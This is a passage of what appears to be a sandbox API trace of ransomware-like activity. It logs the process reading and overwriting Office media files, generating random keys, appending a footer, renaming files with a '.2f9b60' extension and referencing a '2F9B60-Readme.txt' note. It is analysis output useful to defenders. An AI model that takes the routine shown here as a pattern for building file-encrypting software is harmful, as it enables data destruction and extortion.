[0107.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7845b0) returned 1 Thread: id = 761 os_tid = 0x12c8 [0098.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf")) returned 0x20 [0099.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF", dwFileAttributes=0x20) returned 1 [0099.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc [0099.701] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x20f2fdc0 | out: lpFileSize=0x20f2fdc0*=1970) returned 1 [0099.701] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x7ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.701] ReadFile (in: hFile=0x15cc, lpBuffer=0x20f2fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20f2fd88, lpOverlapped=0x0 | out: lpBuffer=0x20f2fd40*, lpNumberOfBytesRead=0x20f2fd88*=0x4, lpOverlapped=0x0) returned 1 [0100.380] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636b0 [0100.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0100.380] NtQuerySystemTime (in: CurrentTime=0x20f2fc80 | out: CurrentTime=0x20f2fc80*=132462177059002000) returned 0x0 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x7cb82544 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x2923dd21 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x3a75bf4 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x1c598ead [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x7a10cda1 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x45df7f69 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x7b276304 [0100.380] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0xc1157d [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x584ffc56 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x384585c8 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x483d23ff [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x6e4026e8 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x46fabd75 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x1163e228 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x6ad18a60 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x1784cf1 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x1fca9c64 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x3f25ca78 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x538e3066 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x441fd1c8 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x7ab63c2a [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x3133268a [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x28e68585 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x7ab4efe7 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x55dcdda2 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x6a95c2d2 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x776fe6b5 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x1d5e8bad [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x41d61da4 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0xcd8c9fd [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x7b5ba7f6 [0100.381] RtlRandomEx (in: Seed=0x20f2fc70 | out: Seed=0x20f2fc70) returned 0x6a757570 [0100.820] ReadFile (in: hFile=0x15cc, lpBuffer=0x41d100b0, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x20f2fc70, lpOverlapped=0x0 | out: lpBuffer=0x41d100b0*, lpNumberOfBytesRead=0x20f2fc70*=0x7b2, lpOverlapped=0x0) returned 1 [0100.820] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.820] WriteFile (in: hFile=0x15cc, lpBuffer=0x41d13cc0*, nNumberOfBytesToWrite=0x7b2, lpNumberOfBytesWritten=0x20f2fc74, lpOverlapped=0x0 | out: lpBuffer=0x41d13cc0*, lpNumberOfBytesWritten=0x20f2fc74*=0x7b2, lpOverlapped=0x0) returned 1 [0101.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0101.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0101.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0101.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d13cc0) returned 1 [0101.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d100b0) returned 1 [0101.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0101.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0101.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fd60 [0101.829] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.829] WriteFile (in: hFile=0x15cc, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20f2fd90, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x20f2fd90*=0x10a, lpOverlapped=0x0) returned 1 [0102.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262780 [0102.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262780) returned 1 [0102.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262780 [0102.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262750 [0102.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262750) returned 1 [0102.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.263] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="d3") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="60") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="be") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="7a") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="8f") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="79") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="12") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="be") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="b5") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="e4") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="f0") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="22") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="f8") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="43") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="01") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="33") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="17") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="8c") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="5e") returned 2 [0102.263] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.264] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="46") returned 2 [0102.264] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="f6") returned 2 [0102.264] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="ed") returned 2 [0102.264] RtlInitAnsiString (in: DestinationString=0x20f2fe08, SourceString="d360be7a8f7912beb5e4f022f843013317e18c5e4d46f6ed" | out: DestinationString="d360be7a8f7912beb5e4f022f843013317e18c5e4d46f6ed") [0102.264] RtlAnsiStringToUnicodeString (in: DestinationString=0x20f2fdd8, SourceString="d360be7a8f7912beb5e4f022f843013317e18c5e4d46f6ed", AllocateDestinationString=1 | out: DestinationString="d360be7a8f7912beb5e4f022f843013317e18c5e4d46f6ed") returned 0x0 [0102.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9320 [0102.264] wcscat (in: _Dest=0x4205c830, _Source="d360be7a8f79" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d360be7a8f79") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d360be7a8f79" [0102.264] wcscat (in: _Dest=0x4205c830, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d360be7a8f79.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d360be7a8f79.2f9b60" [0102.264] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d360be7a8f79.2f9b60", NtPathName=0x20f2fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d360be7a8f79.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c030 [0104.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c030) returned 1 [0104.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506180) returned 1 [0104.670] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x20f2fe18, FileInformation=0x20f2fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20f2fe18, FileInformation=0x20f2fe28) returned 0x0 [0104.670] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x20f2fe18, FileInformation=0x20f2fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c830) returned 1 [0104.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9320) returned 1 [0104.672] FlushFileBuffers (hFile=0x15cc) returned 1 [0104.674] CloseHandle (hObject=0x15cc) returned 1 [0104.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4fe0 [0104.676] wcscpy (in: _Dest=0x202a4fe0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0104.676] wcscat (in: _Dest=0x202a4fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0104.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0104.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4fe0) returned 1 [0104.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 Thread: id = 762 os_tid = 0x12cc [0098.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf")) returned 0x20 [0099.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF", dwFileAttributes=0x20) returned 1 [0099.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c8 [0099.699] GetFileSizeEx (in: hFile=0x15c8, lpFileSize=0x1f01f860 | out: lpFileSize=0x1f01f860*=4630) returned 1 [0099.699] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x1212, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.699] ReadFile (in: hFile=0x15c8, lpBuffer=0x1f01f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f01f828, lpOverlapped=0x0 | out: lpBuffer=0x1f01f7e0*, lpNumberOfBytesRead=0x1f01f828*=0x4, lpOverlapped=0x0) returned 1 [0100.261] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0100.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0100.262] NtQuerySystemTime (in: CurrentTime=0x1f01f720 | out: CurrentTime=0x1f01f720*=132462177057910000) returned 0x0 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x20776f45 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0xea74bef [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x35dca9df [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x65ae27cf [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x404b3588 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x1332ee9f [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x3609ea0c [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x1b8a71c [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x783ca8f3 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x1884c23b [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x586091eb [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x100d326a [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x1cfd187 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x573350f6 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x3cd8502 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x32592f71 [0100.262] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x3b8ca59f [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x134abe95 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x306a66f9 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x648c3bb4 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x7c7cf081 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x1a292915 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x51538c9c [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x1c1802d2 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x72946329 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x59c13327 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x3f2840e3 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x43ec7826 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x4b0532dc [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x53692fe [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x548795b3 [0100.263] RtlRandomEx (in: Seed=0x1f01f710 | out: Seed=0x1f01f710) returned 0x658f515c [0100.800] ReadFile (in: hFile=0x15c8, lpBuffer=0x41b500b0, nNumberOfBytesToRead=0x1216, lpNumberOfBytesRead=0x1f01f710, lpOverlapped=0x0 | out: lpBuffer=0x41b500b0*, lpNumberOfBytesRead=0x1f01f710*=0x1216, lpOverlapped=0x0) returned 1 [0101.584] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.584] WriteFile (in: hFile=0x15c8, lpBuffer=0x41b53cc0*, nNumberOfBytesToWrite=0x1216, lpNumberOfBytesWritten=0x1f01f714, lpOverlapped=0x0 | out: lpBuffer=0x41b53cc0*, lpNumberOfBytesWritten=0x1f01f714*=0x1216, lpOverlapped=0x0) returned 1 [0101.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260320 [0101.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0101.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859550) returned 1 [0101.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b53cc0) returned 1 [0101.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b500b0) returned 1 [0101.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0101.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0101.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b859550 [0101.890] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.890] WriteFile (in: hFile=0x15c8, lpBuffer=0x42060770*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f01f830, lpOverlapped=0x0 | out: lpBuffer=0x42060770*, lpNumberOfBytesWritten=0x1f01f830*=0x10a, lpOverlapped=0x0) returned 1 [0102.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0102.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c90) returned 1 [0102.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c90 [0102.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c60 [0102.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c60) returned 1 [0102.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.309] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="2e") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="ae") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="d0") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="f7") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="96") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="0c") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="fd") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="10") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="c1") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="cf") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="d9") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="4a") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="3f") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="95") returned 2 [0102.309] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="c1") returned 2 [0102.310] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="25") returned 2 [0102.310] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="43") returned 2 [0102.310] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="39") returned 2 [0102.310] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="48") returned 2 [0102.310] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="59") returned 2 [0102.310] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="b3") returned 2 [0102.310] RtlInitAnsiString (in: DestinationString=0x1f01f8a8, SourceString="4d2efcaed0f77d960cfd10c1cfd94a3f95c12543394859b3" | out: DestinationString="4d2efcaed0f77d960cfd10c1cfd94a3f95c12543394859b3") [0102.310] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f01f878, SourceString="4d2efcaed0f77d960cfd10c1cfd94a3f95c12543394859b3", AllocateDestinationString=1 | out: DestinationString="4d2efcaed0f77d960cfd10c1cfd94a3f95c12543394859b3") returned 0x0 [0102.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9710 [0102.310] wcscat (in: _Dest=0x4205cdd0, _Source="4d2efcaed0f7" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4d2efcaed0f7") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4d2efcaed0f7" [0102.310] wcscat (in: _Dest=0x4205cdd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4d2efcaed0f7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4d2efcaed0f7.2f9b60" [0102.310] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4d2efcaed0f7.2f9b60", NtPathName=0x1f01f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4d2efcaed0f7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c5b0 [0105.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c5b0) returned 1 [0105.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507300) returned 1 [0105.902] NtQueryInformationFile (in: FileHandle=0x15c8, IoStatusBlock=0x1f01f8b8, FileInformation=0x1f01f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f01f8b8, FileInformation=0x1f01f8c8) returned 0x0 [0105.902] NtSetInformationFile (FileHandle=0x15c8, IoStatusBlock=0x1f01f8b8, FileInformation=0x1f01f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cdd0) returned 1 [0105.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 